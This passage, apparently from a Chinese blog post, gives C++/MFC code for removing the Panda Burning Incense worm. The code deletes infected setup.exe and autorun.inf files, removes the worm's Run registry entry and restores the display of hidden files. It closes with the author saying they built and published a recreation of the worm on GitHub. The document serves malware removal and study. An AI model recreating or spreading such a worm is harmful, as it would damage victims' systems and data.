csTxt += _T("spoclsv.exe病毒無法刪除\r\n");
}
}
}
SetDlgItemText(IDC_LIST,csTxt);
Sleep(10);
///////////////////////////////////////////////////////////////////
// 刪除每個盤符下的setup.exe與autorun.inf,以及Desktop_.ini
///////////////////////////////////////////////////////////////////
char szDriverString[MAXBYTE] = { 0 };
char *pTmp = NULL;
//獲取字符串類型的驅動器列表
GetLogicalDriveStrings(MAXBYTE, szDriverString);
pTmp = szDriverString;
while( *pTmp )
{
char szAutorunPath[MAX_PATH] = { 0 };
char szSetupPath[MAX_PATH] = { 0 };
lstrcat(szAutorunPath,pTmp);
lstrcat(szAutorunPath,"autorun.inf");
lstrcat(szSetupPath,pTmp);
lstrcat(szSetupPath,"setup.exe");
if (GetFileAttributes(szSetupPath) == 0xFFFFFFFF)
{
csTxt += pTmp;
csTxt += _T("setup.exe病毒文件不存在\r\n");
}
else
{
csTxt += pTmp;
csTxt += _T("setup.exe病毒文件存在,正在進行計算校驗和...\r\n");
HANDLE hFile = CreateFile(szSetupPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
AfxMessageBox("Create Error");
return ;
}
DWORD dwSize = GetFileSize(hFile,NULL);
if (dwSize == 0xFFFFFFFF)
{
AfxMessageBox("GetFileSize Error");
return ;
}
BYTE *pFile = (BYTE*)malloc(dwSize);
if (pFile == NULL)
{
AfxMessageBox("malloc Error");
return ;
}
DWORD dwNum = 0;
ReadFile(hFile,pFile,dwSize,&dwNum,NULL);
DWORD dwCrc32 = CRC32(pFile,dwSize);
if (pFile != NULL)
{
free(pFile);
pFile = NULL;
}
CloseHandle(hFile);
if (dwCrc32 != 0x89240FCD)
{
csTxt += _T("校驗和驗證失敗\r\n");
}
else
{
csTxt += _T("校驗和驗證成功,正在刪除...\r\n");
// 去除文件的隱藏、系統以及只讀屬性
DWORD dwFileAttributes = GetFileAttributes(szSetupPath);
dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
SetFileAttributes(szSetupPath, dwFileAttributes);
// 刪除setup.exe
bRet = DeleteFile(szSetupPath);
if (bRet)
{
csTxt += pTmp;
csTxt += _T("setup.exe病毒被刪除!\r\n");
}
else
{
csTxt += pTmp;
csTxt += _T("setup.exe病毒無法刪除\r\n");
}
}
}
// 去除文件的隱藏、系統以及只讀屬性
DWORD dwFileAttributes = GetFileAttributes(szAutorunPath);
dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;
dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;
dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;
SetFileAttributes(szAutorunPath, dwFileAttributes);
// 刪除autorun.inf
bRet = DeleteFile(szAutorunPath);
csTxt += pTmp;
if (bRet)
{
csTxt += _T("autorun.inf被刪除!\r\n");
}
else
{
csTxt += _T("autorun.inf不存在或無法刪除\r\n");
}
// 刪除Desktop_.ini
FindFiles(pTmp);
// 檢查下一個盤符
pTmp += 4;
}
Sleep(10);
///////////////////////////////////////////////////////////////////
// 修復注冊表內容,刪除病毒啟動項並修復文件的隱藏顯示
///////////////////////////////////////////////////////////////////
csTxt += _T("正在檢查注冊表...\r\n");
SetDlgItemText(IDC_LIST,csTxt);
// 首先檢查啟動項
char RegRun[] = "Software\Microsoft\Windows\CurrentVersion\Run";
HKEY hKeyHKCU = NULL;
LONG lSize = MAXBYTE;
char cData[MAXBYTE] = { 0 };
long lRet = RegOpenKey(HKEY_CURRENT_USER, RegRun, &hKeyHKCU);
if(lRet == ERROR_SUCCESS)
{
lRet = RegQueryValueEx(hKeyHKCU,"svcshare",NULL,NULL,(unsigned char *)cData,(unsigned long *)&lSize);
if ( lRet == ERROR_SUCCESS)
{
if (lstrcmp(cData,"C:\WINDOWS\system32\drivers\spcolsv.exe") == 0)
{
csTxt += _T("注冊表啟動項中存在病毒信息\r\n");
}
lRet = RegDeleteValue(hKeyHKCU,"svcshare");
if (lRet == ERROR_SUCCESS)
{
csTxt += _T("注冊表啟動項中的病毒信息已刪除!\r\n");
}
else
{
csTxt += _T("注冊表啟動項中的病毒信息無法刪除\r\n");
}
}
else
{
csTxt += _T("注冊表啟動項中不存在病毒信息\r\n");
}
RegCloseKey(hKeyHKCU);
}
else
{
csTxt += _T("注冊表啟動項信息讀取失敗\r\n");
}
// 接下來修復文件的隱藏顯示,需要將CheckedValue的值設置為1
char RegHide[] = "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL";
HKEY hKeyHKLM = NULL;
DWORD dwFlag = 1;
long lRetHide = RegOpenKey(HKEY_LOCAL_MACHINE, RegHide, &hKeyHKLM);
if(lRetHide == ERROR_SUCCESS)
{
csTxt += _T("檢測注冊表的文件隱藏選項...\r\n");
if( ERROR_SUCCESS == RegSetValueEx(
hKeyHKLM, //subkey handle
"CheckedValue", //value name
0, //must be zero
REG_DWORD, //value type
(CONST BYTE*)&dwFlag, //pointer to value data
4)) //length of value data
{
csTxt += _T("注冊表修復完畢!\r\n");
}
else
{
csTxt += _T("無法恢復注冊表的文件隱藏選項\r\n");
}
}
///////////////////////////////////////////////////////////////////
// 病毒查殺完成
///////////////////////////////////////////////////////////////////
csTxt += _T("病毒查殺完成,請使用專業殺毒軟件進行全面掃描!\r\n");
SetDlgItemText(IDC_LIST,csTxt);
}
查殺后的效果如下:

病毒的復現
我自己仿照了熊貓燒香病毒,自己編寫了個易語言版本的,我也看了吾愛破解上的C++版本的,應該是用了MFC寫的,當然我也會陸續把它放在GitHub上,這里我只是放了一個案例,為了防止某些人拿去做非法用途,我只提供了主要源代碼。各位小主們有GitHub賬號的走過路過千萬不要吝嗇你們的star 和 follow 。
項目下載
文章中涉及的源代碼及程序我已經開源至GitHub上,希望有GitHub賬號的大師傅可以給我賞個 star 和 follow ,感謝各位親們的支持(/▽\=)。
下載地址:GitHub
